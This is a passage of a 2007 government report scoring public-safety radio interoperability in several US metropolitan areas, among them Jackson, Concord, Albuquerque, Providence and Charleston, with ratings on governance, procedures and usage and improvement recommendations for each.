Urban/Metropolitan Area B-19 January 2007 Tactical Interoperable Communications Scorecards Standard Operating Procedures (SOP): Established Implementation 15% 20% 20% 20% The Portland metropolitan area has demonstrated success in incorporating existing mutual aid agreements (State of Maine CONOPS) involving interoperability into the Portland TICP. The area held a TICP Implementation Workshop to inform and train participants in the plan, but no further regional dissemination of these SOPs to additional agencies is evident. Portland is beginning to implement National Incident Management System (NIMS)/Incident Command System (ICS) and encountered only minor command and control problems during the exercise (e.g., Communications Unit Leader announcement was not included as part of the TICP, ICS Form 205 was not updated). Recommendations: • Continue distributing regional interoperability SOPs (beyond the TICP), to all participating agencies and dispatch centers • Initiate basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Advanced Implementation The Portland area regularly uses shared channels and shared systems in day-to-day operations. During the exercise, the participants effectively established interoperable communications and demonstrated proficiency and familiarity with the available interoperability equipment (e.g., successfully provided tactical interoperable communications through the use of shared channels and systems). For example, South Portland used Maine CONOPS channels for incident communications while Portland agencies used their 800 megahertz (MHz) system. There was a good level of participation from local, state, and federal agencies (e.g., Cumberland County Emergency Management Agency, Maine Emergency Management Agency, U.S. Coast Guard), and the area should be commended for establishing a communications governance agreement (designated to share communication channels and capabilities) among the local agencies and the U.S. Coast Guard. Recommendation: • Consider adding communications interoperability as a component of all future exercises Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview The State of Maine uses the Maine State Communication Network Program, a very high frequency (VHF) high band system intended to support all state-level public safety agencies. The State of Maine Department of Transportation uses a VHF low band system. Additionally, local and county radio systems are independently managed and operated. Specific shared interoperable communications channels are described by the Maine CONOPS. The CONOPS is fully functional within the cities of Portland and South Portland. In addition, the City of Portland supports 800 MHz ICALL and ITAC1 as standard National Public Safety Planning Advisory Committee channels, but coverage is limited to the I- 95 corridor. Gateways consisting of audio bridges, console patches, and crossband repeaters are used by various agencies. The City of Portland supports local agencies using an 800 MHz Motorola SMARTNET™ I System and has a halo of VHF stations that link into its 800 MHz system, which allows city practitioners to communicate with the surrounding communities on the VHF band. In the near term, the area’s emphasis is on extending the CONOPS concept throughout the state. Mid-term and long-term planning includes improving interoperability among the major cities, as well as the local and county independently managed systems. Urban/Metropolitan Area B-20 January 2007 Tactical Interoperable Communications Scorecards Jackson (Mississippi) Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Intermediate Implementation Standard Operating Procedures: Intermediate Implementation Usage: Intermediate Implementation Mississippi designated the City of Jackson as its metropolitan area (area), which includes the counties of Hinds, Madison, and Rankin. Governance: Intermediate Implementation 10% 10%15% 15% The Mississippi Wireless Communications Commission established the Mississippi Capitol Region (MCR) Committee (MCRC) to develop the Tactical Interoperable Communications Plan (TICP) and is beginning to establish interoperability as a priority in the area. Although the area has taken a positive step in establishing the governance group, it would benefit from a clearer statement of its mission and responsibilities (possibly through updating the charter). The decision-making group does not meet regularly; therefore, it appears that the group cannot adequately address interoperability issues among Rankin and Hinds counties (identified in the After Action Report). It appears that statewide mutual aid agreements were the sole published and active agreements in place to ensure interoperability before the TICP and that there are no agreements specifically for the purpose of interoperability. The area is working on developing a strategic plan, and once completed, it will need to be distributed to regional public safety agencies. Regional leadership and local jurisdictions within MCR appear to be working to develop a regional plan upon which to base budgets and procurement decisions. Recommendations: • Establish regularly scheduled MCRC meetings and expand MCRC membership to appropriate jurisdictional levels (e.g., local, state, and federal representation) • Document and put into practice agreements (e.g., memoranda of understanding) among all participating agencies to support partnerships on regional interoperability • Encourage planning and development of a strategic plan beyond the operational plan outlined in the TICP with participant approval, adoption, and acceptance; align local and state strategic planning efforts to ensure that regional interoperability is needs are met • Initiate the development and implementation of a regional approach to long-term (e.g., 3 to 5 years) communications interoperability planning and sustainable funding • Continue to involve government leadership in communications interoperability issues and encourage long-term regional funding plans Standard Operating Procedures (SOP): Intermediate Implementation 10% 10%15% 15% The MCR used previously existing informal guidelines among jurisdictions in the area to develop new interoperable communications SOPs for the TICP. As a result, the TICP provided the area’s first SOPs focused on interoperability. These SOPs were disseminated to public safety agencies in the area at the TICP Workshop. MCR reports compliance with National Incident Management System (NIMS)/Incident Command System (ICS) and began training more than 1 year ago. During the exercise, the area as a whole did not fully demonstrate interoperability proficiency with NIMS/ICS, specifically the Jackson Incident 10% 10%15% 15% 10% 10%15% 15% 10% 10%15% 15% Urban/Metropolitan Area B-21 January 2007 Tactical Interoperable Communications Scorecards Commander did not perform Communications Unit Leader duties, which resulted in slower development of an ICS. Recommendations: • Document regional communications interoperability SOPs (beyond the TICP) and put them into practice through training and exercises • Ensure that regional SOPs are aligned with statewide planning efforts • Initiate basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Intermediate Implementation 10% 10%15% 15% Jackson officials report that the area’s first responders have been largely successful in implementing interoperability solutions during recent events requiring multijurisdictional response. During the TICP exercise, some agencies within Madison and Rankin counties were able to communicate; however, the participants did not demonstrate proficiency in using their available means of interoperable communications (e.g., radio caches, gateways, shared channels, shared systems). For example, according to the After Action Report, “the City of Jackson was unable to communicate effectively with other agencies because its radio architecture differs from those of surrounding systems. Recommendations: • Regularly test and exercise the deployment of regional interoperability resources to improve proficiency of use (e.g., practice use of radio caches and mobile gateways) • Consider adding communications interoperability as a component of all future exercises Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview Mississippi has a very high frequency (VHF) low band radio system that can be used anywhere in the state, including with many VHF, ultra high frequency (UHF), and 800 megahertz (MHz), interoperable/mutual aid channels, including VHF VTAC and UHF UTAC in Jackson. Four shared systems can be used in the greater Jackson area, including three 800 MHz systems and one VHF high band radio system. There are more than 11 gateways or methods by which talk groups and/or channels can be patched. High on the interoperability communications priority list for the Jackson metropolitan area is the coordination of gateway and console patches in use. It is the position of the area that permanent patching at fixed site gateways and base stations is critical for instant interoperable communications before mobile resources can be activated and operational. Urban/Metropolitan Area B-22 January 2007 Tactical Interoperable Communications Scorecards Yellowstone County (Montana) Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Early Implementation Standard Operating Procedures: Intermediate Implementation Usage: Intermediate Implementation Montana designated the entire State of Montana as its metropolitan area (area); however, the information below pertains only to the Yellowstone County area because the Communications Sub-Committee of the Local Emergency Planning Committee (LEPC) in Yellowstone County was the lead that participated in the Tactical Interoperable Communications Plan (TICP) process. The Yellowstone County area, which is located in south central Montana, includes the cities of Billings, Broadview, and Laurel. Governance: Early Implementation 10%5% 5% 5% Although the State of Montana has been active in interoperability efforts, it is very unclear how established the defined area (Yellowstone County) is in this larger effort. Specific to the TICP development and validation exercise, the governance structure did not appear well defined. The development of a TICP that included only law enforcement agencies (as opposed to first responders as a whole) was particularly problematic (even if the TICP was initially based on existing law enforcement policies). This was reinforced by some findings of the TICP validation exercise (e.g., the Billings Fire Department could not communicate with the Billings Police Department with shared channels). While the area indicates that the state is developing regional strategic plans through the eight state consortiums, Yellowstone’s level of involvement in this state effort, or any strategic planning for the specified area is unclear. Individual agencies currently develop and maintain their own budgets and procure equipment based on agency-specific needs, although agencies are looking toward considering interoperability across the metropolitan area in the future. Yellowstone County has mixed communications interoperability support from its first responder and political leadership. Recommendations: • Involve all first responders, as well as public support, state, federal, and tribal agencies in the decision- making group and define roles and responsibilities • Document and formalize agreements (e.g., memoranda of understanding) among all participating agencies to support partnerships on regional interoperability • Consider broadening agreements to include state, federal, and tribal agencies • Develop and implement a strategic plan (beyond the operational focus of the TICP), with participant approval, adoption, and acceptance • Align local and statewide strategic planning efforts to ensure that regional interoperability needs are met • Incorporate a regional interoperability funding strategy into a strategic plan, with consideration of funding models (in addition to grants) that can leverage local, regional, and statewide strategic planning efforts • Continue to broaden and champion a governance structure that would more fully support regional interoperability • Consider the direct involvement of a high-level official, with political and fiscal authority, to specifically focus on interoperability 10%5% 5% 5% 10% 10%15% 15% 10% 10%15% 15% Urban/Metropolitan Area B-23 January 2007 Tactical Interoperable Communications Scorecards Standard Operating Procedures (SOP): Intermediate Implementation 10% 10%15% 15% The Yellowstone TICP appears to have been developed primarily by the law enforcement community and only law enforcement is listed in the plan’s included agency list. The area indicated that most of the existing law enforcement policies and procedures were incorporated in the TICP. The area does not appear to have actively disseminated these SOPs. A number of issues were encountered because the response in the TICP validation exercise did not comply with the policies in the plan. The National Incident Management System (NIMS)/Incident Command System (ICS) has been implemented for more than a year and is formalized in the area’s policies. As noted in the After Action Report (AAR), “the command and control operations…are among the most effective and disciplined the evaluators have seen.” Despite this well-established command, the exercise did not successful incorporate the communications unit and communication unit leader (COML) position in the validation exercise. Recommendations: • Expand multidiscipline participation (beyond law enforcement) in the development of regional interoperability SOPs • Evolve TICP based on expanded participation and disseminate as appropriate • Continue basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Intermediate Implementation 10% 10%15% 15% Yellowstone officials indicated that they used their shared system and shared channels on a daily basis. Likewise, a crossband repeater is regularly used to link 800 megahertz (MHz) and very high frequency (VHF) agencies in the county. Law enforcement agencies have a well-established color-coded shared channel plan, and the use of a shared channel (although not included in the TICP) was demonstrated during the exercise. Law enforcement agencies were also effectively connected using a console patch. As noted by the exercise evaluators, “The exercise validated the TICP within law enforcement; however it identified areas in need of improvement for interoperability within other agencies.” Specifically, the AAR indicated that, “Within the City of Billings, the Police Department cannot talk to the Fire department although they are on a shared system.” Recommendations: • Regularly test and exercise deployment of regional interoperability resources to improve proficiency (e.g., use of shared system across disciplines) • Consider adding communications interoperability as a component of all future exercises Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview Funding from Department of Homeland Security grants to the Montana metropolitan area is coordinated through Montana Disaster and Emergency Services (MDES). In Yellowstone County, there are two radio caches. Also, 800 MHz and VHF mutual aid frequencies are used as interoperable channels. There are two fixed gateways—a permanent crossband unit that directly patches 800 MHz and VHF frequencies for interoperable communications, and a temporary 800 MHz-to-VHF patch. In addition, there is an 800 MHz analog trunked shared system (City of Billings system) that supports the entire area. Urban/Metropolitan Area B-24 January 2007 Tactical Interoperable Communications Scorecards Concord (New Hampshire) Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Established Implementation Standard Operating Procedures: Established Implementation Usage: Established Implementation New Hampshire designated the City of Concord as its metropolitan area (area), which includes Belknap and Merrimack counties as its tactical interoperable communications planning area. Governance: Established Implementation 15% 20% 20% 20% New Hampshire has a Joint Committee for first responders that has oversight for interoperability in the state. For the purposes of the Tactical Interoperable Communications Plan (TICP) development, Concord established a working group of state officials and multidiscipline agencies. Federal and public support agencies (e.g., the National Guard, acute care hospitals) were involved in the TICP development. The area indicated that an interoperability memorandum of understanding (MOU) was in place for all local agencies in the state. The area indicated, however, that there was no single strategic planning document for interoperability. New Hampshire has developed a long-term infrastructure strategy (as included in Section 7 of the TICP), which is implemented as grant funding becomes available. It is not clear whether a long-term funding strategy to support the lifecycle costs of these systems is in place. There appears to be strong support for resolving interoperability issues at all levels of government. As noted by exercise evaluators, “There was a high level of commitment and involvement by state government officials. It was clear that the area benefited from the leadership and facilitation of a committed advocate.” Recommendations: • Involve federal and public support organizations in the decision-making group and document roles and responsibilities as part of the group • Develop and review agreements (e.g., MOUs) at least every 3 to 5 years and after significant events or upgrades • Develop, document, and implement a strategic plan (build on the TICP New Hampshire Statewide Interoperability Expansion Project future plans), including technical, policy, operational, and funding aspects • Develop, document, and incorporate regional interoperability funding strategy into strategic plan, such as considering funding models (in addition to grants) that can leverage local, regional, and statewide strategic planning efforts Standard Operating Procedures (SOP): Established Implementation 15% 20% 20% 20% Concord has used the TICP process to document and expand previously informal interoperability procedures. SOPs have been disseminated, but additional steps need to be taken to promulgate these policies among included agencies. The area implemented National Incident Management System (NIMS) more than a year ago as part of the statewide certification process. During the TICP exercise, evaluators commended the area for exceptional communication among Unified Commanders. The communications unit and Communications Unit Leader (COML) have begun being implemented into the area’s response structure; however, some gaps with the use of the latter position were noted in the exercise. 15% 20% 20% 20% 15% 20% 20% 20% 15% 20% 20% 20% Urban/Metropolitan Area B-25 January 2007 Tactical Interoperable Communications Scorecards Recommendations: • Ensure all regional interoperability SOPs are in the TICP and put into practice to increase the proficiency in the use of these policies • Disseminate the TICP to all participating agencies. • Continue basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Established Implementation 15% 20% 20% 20% Concord regularly provides interoperable communication through the area’s very high frequency (VHF) systems. Additionally, the state has implemented a series of gateways, as well as two state radio caches, through the Statewide Infrastructure Interoperability Project. During the TICP validation exercise, the radio cache deployment was noted as well done by evaluators. Some coverage problems were encountered in the use of shared channels during the exercise. Communications to the dispatch center were not always clear or understood and often had to be repeated, which was attributed to coverage issues. Additionally, it was unclear whether announcements were made before gateway activation. The National Guard was also actively involved in the TICP planning and exercise. Recommendations: • Regularly test and exercise deployment of regional interoperability resources to improve proficiency, and include federal agencies • Consider adding communications interoperability as a component of all future exercises Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview The City of Concord maintains several radio systems. Concord Fire, Concord Police, and Bow Police run a predominantly simplex mode VHF high band analog radio system. They also maintain an ultra high frequency (UHF) repeater for fire alarm and administrative functions, as well as UHF links for transmitter sites. Concord Police now operate on a Project 25 (P25) compliant, VHF high band, digital radio system that is used in simplex and duplex modes. Merrimack County uses a VHF dual mode digital/analog radio system and provides dispatch services for 10 communities around the Concord area. The State’s Radio Interoperability Frequency Subcommittee has established a standard VHF radio programming template that is used in all VHF Fire and Emergency Medical Services radios, providing interoperability across the state. The area is working toward acquiring a single, shared, fully P25-compliant trunked radio system. The New Hampshire Statewide Interoperability Expansion Project has been under development for quite some time and is divided into three areas. The Project has acquired and installed ACU-1000 audio matrix switches at designated communications sites to provide on-site connectivity of multiple frequency band base stations. The Statewide Infrastructure Interoperability Expansion Project will require additional VHF low band, UHF, and 700/800 megahertz base stations or repeaters to achieve interoperability for console-to-base, base-to-base, base-to- mobile, and mobile-to-mobile communications. A shared mobile command post platform will provide a movable source of infrastructure resources such as dispatch consoles, multiple frequency band base or control station repeaters, computer telecommunications facilities, telephone facilities, and wireless access points. Urban/Metropolitan Area B-26 January 2007 Tactical Interoperable Communications Scorecards Albuquerque (New Mexico) Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Early Implementation Standard Operating Procedures: Intermediate Implementation Usage: Established Implementation New Mexico designated the City of Albuquerque as its metropolitan area (area), which includes Valencia, Bernalillo, and Sandoval counties, as well as incorporated cities and Native American tribes and pueblos located within those counties. This area is also known as the Middle Rio Grande Planning Area. Governance: Early Implementation 10%5% 5% 5% The Middle Rio Grande Valley/Greater Albuquerque Metro Planning Area (Middle Rio Grande Planning Area) established the Communications Committee in March 2006 to develop the Tactical Interoperable Communications Plan (TICP). The Committee includes public safety support agencies (Public Health, Utilities, and the Mayor’s Office) and state and federal agencies. With the creation of the TICP, the metropolitan area has published and active agreements among the regional agencies, but they are not yet fully in practice across the area. The Mid Rio Grande Planning Area does not have an interoperability strategic plan in place and hopes to work with the state to further develop the statewide plan. The individual organizations in the Mid Rio Grande Planning Area maintain their own budgets independent of regional strategic planning. The area obtains most of its communications funding through grants and does not appear to have a long-term funding plan. While public safety communications is a priority at the state level, the leadership at the local level has not clearly demonstrated fiscal or political support for interoperable communications. Recommendations: • Ensure that all applicable local, state, federal, and tribal agencies (taking into account international interoperability efforts) are involved in the decision-making group and define roles and responsibilities as part of the group • Continue to support the decision-making group through regularly scheduled meetings (consider more frequent meetings) and actively working issues to address regional (tactical and strategic) interoperability • Document and put into practice agreements (e.g., memoranda of understanding, mutual aid agreements) among all participating agencies to support partnerships on regional interoperability • Develop and implement a strategic plan (beyond the operational focus of the TICP), with participant approval, adoption, and acceptance • Align local and statewide strategic planning efforts to ensure that regional interoperability needs are met • Incorporate regional interoperability funding strategy into a strategic plan, including considering funding models (in addition to grants) that can leverage local, regional, and statewide strategic planning efforts • Identify a champion (or group) to motivate and promote continued interoperability progress in the area • Consider the direct involvement of a high-level official, with political and fiscal authority, to effectively and specifically focus on interoperability Standard Operating Procedures (SOP): Intermediate Implementation 10% 10%15% 15% While it incorporates previously existing mutual aid agreements within the state, the TICP represents the area’s first multijurisdictional, multidiscipline interoperable communications SOPs. Since the TICP process 10% 10%15% 15% 10%5% 5% 5% 15% 20% 20% 20% Urban/Metropolitan Area B-27 January 2007 Tactical Interoperable Communications Scorecards began, Albuquerque has worked well with many local, state, federal, and tribal agencies (e.g., Utilities, Mayor’s Office, State Police, Customs and Border Protection, Kirkland Air Force Base) to further develop regional interoperability SOPs. It is unclear whether there is full participation with all of the jurisdictions in the area (e.g., Valencia County did not attend the planning meeting or exercise). It is also unclear whether the area has actively disseminated the SOPs. In December 2005, the area created an All-Hazards Plan that mandated National Incident Management System (NIMS)/Incident Command System (ICS). Although NIMS/ICS was recently implemented, the exercise participants demonstrated proficiency with command and control, including the Communications Unit Leader responsibilities. Recommendations: • Encourage full participation of all first responders (e.g., Valencia County) incorporated into regional interoperability SOPs • Continue to develop SOPs within the TICP framework and disseminate throughout area • Continue basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Established Implementation 15% 20% 20% 20% The area operates on a shared system for daily interoperable solutions. During the TICP validation exercise, the participants demonstrated familiarity and proficiency with the area’s interoperable communications equipment. Albuquerque ensured the participation of state and federal agencies (e.g., State Police, Federal Bureau of Investigation) in their TICP validation exercise, which allowed for a valuable opportunity for area first responders to familiarize themselves with the challenges of interoperating with public safety officials who are not as familiar with the area shared system. The area effectively used the radio cache, gateways, shared channels, and the shared system. The area’s day-to-day usage of the shared system and exercise have demonstrated proficient use of interoperable solutions across jurisdictions and agencies; however, it is unclear whether all local and tribal first responder agencies are able to demonstrate the same level of proficiency. Albuquerque relies on the use of shared channels and rarely uses gateways for interoperability purposes. The National Guard Civil Support Team participation during the exercise was commendable. Recommendation: • Consider adding communications interoperability as a component of all future exercises (e.g., regional first responders should incorporate use of gateways) Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview The Middle Rio Grande Planning Area working group has six radio caches, shared channels for interdiscipline law, fire, and emergency medical services. The group has six mobile gateways and one fixed gateway. Five shared systems in the area include an 800 megahertz system, a conventional ultra high frequency (UHF) system, two conventional very high frequency (VHF) systems, and a conventional UHF/VHF system. The state is working on a statewide architecture and using the Interoperable Communications Technical Assistance Program Communications Asset Survey and Mapping tool to inventory equipment. Urban/Metropolitan Area B-28 January 2007 Tactical Interoperable Communications Scorecards Mandan (North Dakota) Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Intermediate Implementation Standard Operating Procedures: Intermediate Implementation Usage: Early Implementation North Dakota designated the City of Mandan as its metropolitan area (area), which includes the City of Mandan and the counties of Morton and Stark. Governance: Intermediate Implementation 10% 10%15% 15% The Morton/Stark County Working Group (MSCWG) is beginning to establish interoperability as a priority for the area. The MSCWG was created in 2005 for the development of the Tactical Interoperable Communications Plan (TICP). While the TICP takes a positive step in establishing a governance committee, the group does not currently have any formalized agreement establishing mission, roles, or authorities (e.g., charter). The area has some formal agreements across public safety agencies in the area but relies primarily on informal partnerships among the jurisdictions in the area. The area lacks a formal leadership position or body that is helping prioritize communications interoperability; likewise, the area does not currently have a strategic plan that incorporates interoperable communications efforts beyond the operational focus of the TICP. There appears to be strong support among the local first responders for emphasizing interoperability as a funding priority (e.g., cooperation to fund equipment within jurisdictions); however, the individual jurisdictions currently procure communications equipment without a regional plan guiding their decisions. Funding is currently based on federal grants, and there is no long-term regional funding plan for recurring expenses without which there is no guarantee of continued ability to operate and maintain existing interoperable infrastructure.. Recommendations: • Identify state, federal, and tribal representatives to participate in the existing decision-making group, develop roles and responsibilities, and establish a charter • Document, formalize, and put into practice the necessary interoperability agreements (e.g., memoranda of understanding) with state, federal, and tribal partners to ensure consistent communications plans (including more than existing local mutual aid agreements) • Develop and implement a strategic plan to chart longer term communications interoperability goals (beyond the operational plan put forth in the TICP), and ensure its acceptance by all participating agencies; align local and state strategic planning efforts to ensure that regional interoperability needs are met • Initiate the development and implementation of a regional approach to long-term (e.g., 3 to 5 years) interoperability planning and sustainable funding • Consider the direct involvement of a high-level official with political and fiscal authority to specifically focus on interoperability • Consider establishing a direct line of communication among local and state level agencies to advocate the importance of interoperable communications Standard Operating Procedures (SOP): Intermediate Implementation 10% 10%15% 15% Previous existing policies and procedures from each of the participating jurisdictions were incorporated into the TICP (e.g., county SOPs and mutual aid agreements). Since the creation of the TICP, the area has taken 10% 10%15% 15% 10% 10%15% 15% 10%5% 5% 5% Urban/Metropolitan Area B-29 January 2007 Tactical Interoperable Communications Scorecards steps to disseminate the communications interoperability SOPs to all agencies in the area, including the dispatch centers. The area also held a TICP Workshop to further distribute the information. The area began National Incident Management System (NIMS)/Incident Command System (ICS) training 1 year ago at the 100 and 200 course levels and is currently working to implement 300 and 400 level series courses. During the exercise, however, command and control issues arose, indicating that further practice and training is needed on following these SOPs. For example, a Communications Unit Leader was designated, but did not announce his duties over the radio. Recommendations: • Review and revise shared channel SOPs to enhance efficiency and use of channels • Ensure that regional SOPs are aligned with statewide planning efforts • Practice NIMS/ICS through training and exercises, and establish a regular training schedule, to improve interoperable communications • Continue basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Early Implementation 10%5% 5% 5% Regular use of interoperable communications equipment is limited in the area. Stark and Morton counties regularly use shared channels to communicate. During the exercise, however, the area relied mainly on commercially provided communications devices, which were not accounted for in its TICP. They also encountered a channel overload issue among the Incident Commander, emergency operations center, emergency medical services command, etc., and available steps were not used to remedy the situation (e.g., other available channels were not accessed). In an attempt to communicate among two sets of first responders on separate State Radio Channels, a dispatcher at first manually relayed transmissions, followed by the ad-hoc development of a patch; neither of these solutions conforms to the SOPs laid out in TICP. Recommendations: • Consider developing policy on use and limitations of commercial services (e.g., cellular telephones) • Involve private, state, federal, and tribal agencies in training and exercises • Consider adding communications interoperability as component for all future exercises Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview Public safety agencies within the Mandan metropolitan area mainly use very high frequency conventional communications systems. The State of North Dakota has an analog conventional four-channel communications system that can be used by most agencies within the state for tactical interoperability. The statewide channels that North Dakota uses are currently being upgraded to digital Project 25 compliant conventional channels. New base stations/repeaters are being purchased and additional frequencies are being licensed to support this upgrade. Urban/Metropolitan Area B-30 January 2007 Tactical Interoperable Communications Scorecards Providence (Rhode Island) Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Intermediate Implementation Standard Operating Procedures: Established Implementation Usage: Early Implementation Rhode Island has designated the City of Providence as its metropolitan area (area). Governance: Intermediate Implementation 10% 10%15% 15% Providence has a Communications Working Group, which reports to the Domestic Preparedness Subcommittee of the Lieutenant Governor’s Advisory Board on Emergency Management. Although the group has been formalized with a mission, authority, and responsibilities, it appears to be driven by the state and lacks sufficient local and federal involvement (e.g., law enforcement, fire services, and U.S. Coast Guard [USCG]). There are informal agreements and a mix of formal and informal partnerships among the public safety organizations in the area. The continued development of documented agreements would support the formalization of these partnerships to ensure clear roles and responsibilities relating to communications interoperability issues and decisions. The State of Rhode Island is developing plans for a statewide 800 MHz system, but Providence does not have a locally driven strategic plan for regional interoperable communications that supports both the local and the state long-term interoperability goals. Officials in the area reported that most interoperability funding came from federal grants, and budgets were developed annually without a regionwide plan for the procurement, distribution, or spending of grant dollars. Because there is no local tax base or other local funding vehicle for interoperable communications, it appears that there is no clear sustainable mechanism for fiscal sustainability. The Rhode Island state leadership has demonstrated political and fiscal support by obtaining federal grant funds, but the level of local participation in these communications interoperability efforts is unclear. Recommendations: • Identify local first responders and federal agencies (e.g., police, fire services, USCG), in addition to state agencies, to participate in the decision-making group, and develop formal roles and responsibilities of the participants • Establish a charter to encourage formal membership in the decision-making group (including all first responder agencies) • Develop and finalize regional communications interoperability agreements (e.g., memoranda of understanding), and involve all participants at the local level • Develop, document, and implement a regional strategic plan (beyond the operational focus of the Tactical Interoperable Communications Plan (TICP) and the statewide 800 MHz system plan) with participant approval, adoption, and acceptance that takes into account a long-term communications funding strategy beyond grants • Align local and statewide strategic planning efforts to ensure regionwide interoperability needs are met • Identify long-term (e.g., 3 to 5 years) sustainable funding for communications interoperability, beyond grants, that can cover lifecycle costs • Consider the direct involvement of local, executive-level official(s), with political and fiscal authority, to specifically focus on interoperability 10%5% 5% 5% 15% 20% 20% 20% 10% 10%15% 15% Urban/Metropolitan Area B-31 January 2007 Tactical Interoperable Communications Scorecards Standard Operating Procedures (SOP): Established Implementation 15% 20% 20% 20% The Providence area incorporated existing policies and procedures from local law enforcement, fire, and emergency medical services (EMS) agencies, as well as hospitals into the TICP. This plan serves as the area’s first comprehensive set of interoperable communications SOPs, and steps have been taken to disseminate them throughout the area (e.g., participating agencies attended a TICP Workshop to review the revised SOPs). Although the TICP Peer Review panel noted that “the area met the minimal requirements [for TICP development],” it is evident from the area agencies’ successful demonstration of communications interoperability solution policies, practices, and procedures that Providence public safety personnel are well versed in the SOPs defined for the area. Local officials reported that most of the public safety agencies in the area participated in creating the TICP. Providence began implementing the National Incident Management System (NIMS)/Incident Command System (ICS) more than 1 year ago, and all public safety agencies in the area use these procedures. The TICP validation exercise, however, highlighted areas for improvement in command and control (e.g., the communications unit was under-staffed, responders used resources outside those included in the TICP). This indicates that the understanding and application of SOPs can be improved. Recommendations: • Revise the TICP to include updated policies and procedures for applicable assets (e.g., availability of additional shared channels) • Consider developing policy on use and limitations of commercial services (e.g., cellular telephones) • Continue basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Early Implementation 10%5% 5% 5% Although the area reports the use of shared channels and gateways, it is evident that the area does not use these available means of interoperable communications regularly. During the TICP validation exercise, participants did not exhibit proficiency in using these communications interoperability solutions. For example, the area’s two identified shared channels are not designed to support the tactical needs of a critical incident, and participants were unsuccessful in implementing a gateway patch. Recommendations: • Implement the recommendations identified in the After Action Report regarding additional equipment (e.g., establish a radio cache) • Regularly test and exercise deployment of regional interoperability resources (e.g., shared channels, gateways) to improve proficiency • Consider adding communications interoperability as a component of all future exercises Below is a summary of the area's existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview Currently, Providence Police uses an ultra high frequency system, while the Providence Fire Department uses a very high frequency system. The Fire Department and EMS are on separate systems that do not connect in any way. The Providence Police and Fire Department each have a shared channel that can be programmed into other police and fire agencies’ radios. The State of Rhode Island is implementing a statewide 800 MHz radio system. All public safety agencies in the state are planned to be on this system. Urban/Metropolitan Area B-32 January 2007 Tactical Interoperable Communications Scorecards Charleston (South Carolina) Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Intermediate Implementation Standard Operating Procedures: Established Implementation Usage: Established Implementation South Carolina designated Charleston as its metropolitan area (area), which includes communities and counties in Berkeley, Charleston, and Dorchester (collectively known as the Lowcountry region). Governance: Intermediate Implementation 10% 10%15% 15% The Charleston area was brought together to address interoperability in the aftermath of Hurricane Hugo 16 years ago. Today, communications in the Charleston area is overseen by a formal communications group (Lowcountry Interoperable Communications Council [LICC]). It was noted in the peer review that the term “RSAG” that was used in the Tactical Interoperable Communications Plan (TICP) needed to be defined, as it could otherwise lead to confusion regarding the appropriate governance structure for interoperable communications efforts. Interoperability partnerships are a combination of formal and informal agreements. The continued development of documented agreements would support the formalization of these partnerships to ensure clear roles and responsibilities relating to communications interoperability issues and decisions. Charleston indicates that a strategic planning process is underway, but no plan has been published. This strategy, as it gets adopted, can also support the prioritization of goals so that funding can be planned accordingly. While consideration for regional interoperability is provided by the LICC, funding decisions are largely driven by individual agency needs as opposed to a Lowcountry regionwide strategy. Recommendations: • Clarify state and federal membership in the decision-making group (e.g., LICC), and examine ways (e.g., varying schedules and locations) to increase rural public safety agency involvement (e.g., volunteer fire departments) • Identify “RSAG” and its roles and responsibilities • Reference all applicable agreements (e.g., memoranda of understanding, intergovernmental agreements) in the TICP and store them in an accessible format • Develop, document, and implement a Lowcountry regional strategic plan (beyond the operational TICP) with participant approval, adoption, and acceptance, that takes into account a long-term funding strategy • Align local and state strategic planning efforts to ensure that regional interoperability needs are met • Document the Lowcountry regional funding strategy for identifying sustainable funding sources (beyond grants) to cover lifecycle and recurring costs to operate the area’s interoperability assets • Broaden and champion a governance structure that will support regional communications interoperability • Involve senior regional leadership in communications interoperability and long-term funding plans Standard Operating Procedures (SOP): Established Implementation 15% 20% 20% 20% The Charleston TICP consolidates existing county interoperable communications SOPs into a regional plan. It has been successfully distributed to all agencies and dispatch centers in the area, and there are plans to participate in regular interoperability training. Charleston officials indicated they were distilling the TICP procedures into a three-page quick guide to ensure ease of use and understanding by all responders, which is 15% 20% 20% 20% 15% 20% 20% 20% 10% 10%15% 15% Urban/Metropolitan Area B-33 January 2007 Tactical Interoperable Communications Scorecards commendable. Use of the SOPs were successfully demonstrated; however, additional information should be added to the TICP, including all available regional interoperable communications assets. The National Incident Management System (NIMS)/Incident Command System (ICS) is currently being implemented throughout the area. Command and control issues occurred in the TICP validation exercise (e.g., did not initiate comprehensive incident command structure, delay in designating communications unit leader) relating to NIMS/ICS procedures. Charleston has recognized some of these deficiencies, and is actively addressing the improvement plan (e.g., NIMS/ICS 300/400 classes). Recommendations: • Update TICP to incorporate all available interoperable communications equipment (e.g., mobile gateway not accounted for in TICP) • Document, distribute, and verify all points of contact for each 